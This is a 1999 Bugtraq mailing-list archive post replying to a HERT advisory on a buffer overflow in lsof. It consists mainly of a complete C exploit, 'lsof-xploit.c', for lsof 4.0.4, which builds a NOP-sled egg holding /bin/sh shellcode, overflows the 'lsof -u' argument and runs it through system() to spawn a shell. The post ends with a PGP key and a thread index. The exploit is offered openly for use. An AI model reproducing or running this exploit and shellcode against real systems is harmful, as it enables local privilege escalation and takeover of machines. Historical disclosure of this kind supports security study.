Bugtraq mailing list archives
Re: [HERT] Advisory #002 Buffer overflow in lsof
From: zhodiac () usa net (Zhodiac)
Date: Sun, 21 Feb 1999 23:38:22 +0100
Hi BUGTRAQ So here is the xploit for linux... since HERT does not make it availeable I will do for them... Greets:) Zhodiac -----------lsof-xploit.c------------- /* * * Xploit for lsof 4.0.4 by Zhodiac <zhodiac () usa net> * Based on Aleph's article in phrack49 * */ #include <stdlib.h> #define DEFAULT_OFFSET 0 #define DEFAULT_BUFFER_SIZE 32 #define DEFAULT_EGG_SIZE 2048 #define NOP 0x90 char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; unsigned long get_esp(void) { __asm__("movl %esp,%eax"); } void main(int argc, char *argv[]) { char *buff, *ptr, *egg; long *addr_ptr, addr; int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; int i, eggsize=DEFAULT_EGG_SIZE; char comando[512]; if (argc > 1) bsize = atoi(argv[1]); if (argc > 2) offset = atoi(argv[2]); if (argc > 3) eggsize = atoi(argv[3]); printf("\nXploit for lsof 4.04 by zhodiac <zhodiac () usa net>\n\n"); if (!(buff = malloc(bsize))) { printf("Can't allocate memory.\n"); exit(0); } if (!(egg = malloc(eggsize))) { printf("Can't allocate memory.\n"); exit(0); } addr = get_esp() - offset; printf("Using address: 0x%x\n", addr); ptr = buff; addr_ptr = (long *) ptr; for (i = 0; i < bsize; i+=4) *(addr_ptr++) = addr; ptr = egg; for (i = 0; i < eggsize - strlen(shellcode) - 1; i++) *(ptr++) = NOP; for (i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i]; buff[bsize - 1] = '\0'; egg[eggsize - 1] = '\0'; memcpy(egg,"EGG=",4); putenv(egg); snprintf(comando,511,"lsof -u %s",buff); system(comando); } ------------ lsof-xploit.c---------------------- -- Type Bits/KeyID Date User ID pub 1024/B3B64055 1998/12/28 zhodiac () usa net -----BEGIN PGP PUBLIC KEY BLOCK----- Version: 2.6.3i mQCNAzaID/QAAAEEANmIvioV2T0ebAF+jU44DOYb996rnhZshu6gENRjaTtUKV6v kcVVPamY5YCvYpK62c0Kz/mmT8Rr8OShQp1gBe/C+DhZBU5XGO+jkhO1PUqq5RH5 JSFOSI5ijze80/Kl9IQb74ilWcLLsqL8uVx+mym6krjdpGXelW3wiUGztkBVAAUT tA96aG9kaWFjQHVzYS5uZXSJAJUDBRA2iA/1bfCJQbO2QFUBAR2wA/oCikvistBM yFUtxO2M/qXymHNH7H4p0FiKqlhF4HFz/su0HTw+0jzZIYehPvklWiEkhXhu7+H6 HsCsFTKAh3/ccH/cwTegTyx0a0ZAjDlLhhgin7cN+VApokdITA/3aZb/2p5ADvBX E9dwTdvk8lZbNZOeXg4NtdjGrjyfXq5AGA== =WF9j -----END PGP PUBLIC KEY BLOCK-----
Current thread:
- Re: [HERT] Advisory #002 Buffer overflow in lsof, (continued)
- Re: [HERT] Advisory #002 Buffer overflow in lsof Alan Cox (Feb 19)
- Re: [HERT] Advisory #002 Buffer overflow in lsof Alex Shnitman (Feb 20)
- Re: [HERT] Advisory #002 Buffer overflow in lsof Wichert Akkerman (Feb 21)
- Possible DOS attack in the .nu domain service Shane Wegner (Feb 20)
- Severe Security Hole in ARCserve NT agents (fwd) Weld Pond (Feb 21)
- Administrivia Aleph One (Feb 22)
- Re: [HERT] Advisory #002 Buffer overflow in lsof Alan Cox (Feb 19)
- Re: [HERT] Advisory #002 Buffer overflow in lsof Friedrichs, Oliver (Feb 18)
- Re: [HERT] Advisory #002 Buffer overflow in lsof Eric Stevens (Feb 19)
- Re: [HERT] Advisory #002 Buffer overflow in lsof johann sebastian bach (Feb 19)
- Re: [HERT] Advisory #002 Buffer overflow in lsof der Mouse (Feb 19)
- Re: [HERT] Advisory #002 Buffer overflow in lsof Zhodiac (Feb 21)
- Re: [HERT] Advisory #002 Buffer overflow in lsof Ronny Cook (Feb 21)